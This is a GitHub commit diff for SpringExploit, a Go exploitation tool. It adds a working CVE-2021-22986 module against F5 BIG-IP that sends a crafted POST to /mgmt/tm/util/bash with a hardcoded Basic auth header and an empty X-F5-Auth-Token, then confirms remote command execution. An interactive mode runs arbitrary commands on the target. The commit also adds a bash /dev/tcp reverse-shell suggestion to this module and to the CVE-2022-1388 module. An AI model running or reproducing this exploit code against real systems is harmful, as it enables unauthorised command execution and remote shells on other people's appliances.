Skip to content

Commit f8a04bf

Browse files
committed
1 parent 240b5f0 commit f8a04bf

File tree

5 files changed

+137
-3
lines changed

5 files changed

+137
-3
lines changed

README.md

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@
2828
* [x] 支持指定ip段eg: 192.168.0.0/24
2929
* [x] 命令执行漏洞式支持交互式执行命令
3030
* [ ] 验证url是否存活
31-
* [ ] 增加自动更新参数
31+
* [x] 增加自动更新参数
3232

3333
………
3434

@@ -71,7 +71,9 @@ SpringExploit -f urls.txt -t 50
7171
SpringExploit -u https://www.baidu.com/ -proxy http://127.0.0.1:1080
7272
SpringExploit -i 127.0.0.1/24
7373
SpringExploit -u https://www.baidu.com/ -p CVE202222947,CVE202222963
74-
SpringExploit -u https://www.baidu.com/ -p CVE20221388 -shell
74+
SpringExploit -u https://www.baidu.com/ -p CVE20221388 -shell
75+
SpringExploit -sp
76+
7577
```
7678

7779
![image-20220422190411847](https://cdn.jsdelivr.net/gh/SummerSec/Images/2022/03/19u419ec19u419ec.png)

cmd/commons/attack/Pocslist.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ const (
1111

1212
// 2021年list
1313
CVE202126084 string = "CVE202126084"
14+
CVE202122986 string = "CVE202122986"
1415
)
1516

1617
func GetList() *list.List {
@@ -24,6 +25,7 @@ func GetList() *list.List {
2425

2526
// 2021年漏洞
2627
l.PushBack(CVE202126084)
28+
l.PushBack(CVE202122986)
2729

2830
return l
2931
}

cmd/commons/attack/attack.go

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,13 +29,16 @@ func init() {
2929

3030
func addPoc(pocs map[string]interface{}) map[string]interface{} {
3131
log.Debug("[*] Add PoC")
32-
// TODO 添加poc
32+
// TODO 添加 2022 poc
3333
//pocs["demo"] = &poc.Demo{}
3434
pocs["CVE202222947"] = &_022.CVE202222947{}
3535
pocs["CVE202222963"] = &_022.CVE202222963{}
3636
pocs["CVE202126084"] = &_021.CVE202126084{}
3737
pocs["CVE202222965"] = &_022.CVE202222965{}
38+
39+
// TODO 添加2021 poc
3840
pocs["CVE20221388"] = &_022.CVE20221388{}
41+
pocs["CVE202122986"] = &_021.CVE202122986{}
3942
return pocs
4043

4144
}
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
package _021
2+
3+
import (
4+
"encoding/json"
5+
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
6+
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
7+
"github.com/c-bata/go-prompt"
8+
"github.com/imroc/req/v3"
9+
log "github.com/sirupsen/logrus"
10+
"net/url"
11+
"strings"
12+
)
13+
14+
// 参考 https://github.com/Al1ex/CVE-2021-22986/blob/main/CVE_2021_22986.pyl
15+
16+
type CVE202122986 struct{}
17+
18+
func (t CVE202122986) SendPoc(target string, hashmap map[string]interface{}) {
19+
log.Debug("[+] Start CVE-2021-22986")
20+
21+
//reqinfo := req2.NewReqInfo()
22+
//reqmap := structs.Map(reqinfo)
23+
reqmap := req2.NewReqInfoToMap(hashmap)
24+
25+
// 初始化请求
26+
// TODO 可以设置超时时间 重复次数 代理等 下面默认使用默认值
27+
reqmap["h1"] = true
28+
29+
u, _ := url.Parse(target)
30+
path := "/mgmt/tm/util/bash"
31+
reqmap["url"] = u.Scheme + "://" + u.Host + path
32+
reqmap["method"] = "POST"
33+
34+
headers := map[string]string{
35+
//"Host": "localhost",
36+
"User-Agent": utils.GetUA(),
37+
//"Connection": "keep-alive, x-f5-auTh-tOKen, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd,X-F5-New-Authtok-Reqd,X-Forwarded-Server,X-Forwarded-Host",
38+
//"Connection": "keep-alive",
39+
"Authorization": "Basic YWRtaW46QVNhc1M=",
40+
"X-F5-Auth-Token": "",
41+
"Content-Type": "application/json",
42+
}
43+
44+
reqmap["headers"] = headers
45+
46+
randstr := utils.GetCode(10)
47+
log.Debugf("[+] randstr: %s", randstr)
48+
base64str := utils.EncodeString(randstr)
49+
log.Debugf("[+] base64str: %s", base64str)
50+
51+
reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo " + base64str + " | base64 -d'\"}"
52+
//reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}"
53+
log.Debug("[+] Send CVE-2021-22986 request")
54+
resp := utils.Send(reqmap)
55+
56+
if t.CheckExp(resp, randstr, hashmap) {
57+
t.SaveResult(target, hashmap["Out"].(string))
58+
}
59+
60+
if hashmap["Shell"].(bool) {
61+
log.Info("[+] Start CVE-2021-22986 shell")
62+
th := prompt.Input("[+] Please input command: ", completer)
63+
if th == "" {
64+
th = "whoami |base64 "
65+
} else {
66+
th = th + " |base64 "
67+
}
68+
reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c '" + th + "'\"}"
69+
resp = utils.Send(reqmap)
70+
txt := resp.String()
71+
72+
log.Debugf("[+] resp: %s", txt)
73+
var txtmap map[string]interface{}
74+
err := json.Unmarshal([]byte(txt), &txtmap)
75+
if err != nil {
76+
log.Errorf("[-] Unmarshal error: %s", err)
77+
return
78+
}
79+
log.Info("命令执行结果: " + utils.DecodeString(txtmap["commandResult"].(string)))
80+
log.Info("[+] End CVE-2021-22986 shell")
81+
}
82+
83+
}
84+
85+
func (CVE202122986) SaveResult(target string, file string) {
86+
result := target + " 存在 CVE-2021-22986 漏洞 可以使用 SpringExplit -u " + target + " -p CVE202122986 --shell 进入交互shell执行命令"
87+
err := utils.SaveToFile(result, file)
88+
log.Info(result)
89+
if err != nil {
90+
return
91+
}
92+
93+
}
94+
95+
func (CVE202122986) CheckExp(resp *req.Response, randstr string, hashmap map[string]interface{}) bool {
96+
defer func() {
97+
if err := recover(); err != nil {
98+
log.Error("[-] CheckExp error: ", err)
99+
}
100+
}()
101+
res := resp.String()
102+
if res == "" {
103+
return false
104+
}
105+
log.Debugf(res)
106+
if strings.Contains(res, randstr) {
107+
// 将res 转化成map
108+
var maps map[string]interface{}
109+
err := json.Unmarshal([]byte(res), &maps)
110+
log.Info("CVE-2021-22986 命令执行返回 commandResult: ", maps["commandResult"])
111+
if err != nil {
112+
log.Debugf("[-] json.Unmarshal error: %s", err)
113+
return false
114+
}
115+
return true
116+
}
117+
return false
118+
}
119+
120+
func completer(d prompt.Document) []prompt.Suggest {
121+
s := []prompt.Suggest{
122+
{Text: "id", Description: "you can type command {id}"},
123+
{Text: "bash", Description: "you can type command bash -c 'exec bash -i &>/dev/tcp/127.0.0.1/8080 <&1'"},
124+
}
125+
return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
126+
}

cmd/commons/poc/2022/CVE-2022-1388.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -119,6 +119,7 @@ func (CVE20221388) CheckExp(resp *req.Response, randstr string, hashmap map[stri
119119
func completer(d prompt.Document) []prompt.Suggest {
120120
s := []prompt.Suggest{
121121
{Text: "id", Description: "you can type command {id}"},
122+
{Text: "bash", Description: "you can type command bash -c 'exec bash -i &>/dev/tcp/127.0.0.1/8080 <&1'"},
122123
}
123124
return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
124125
}

0 commit comments

Comments
 (0)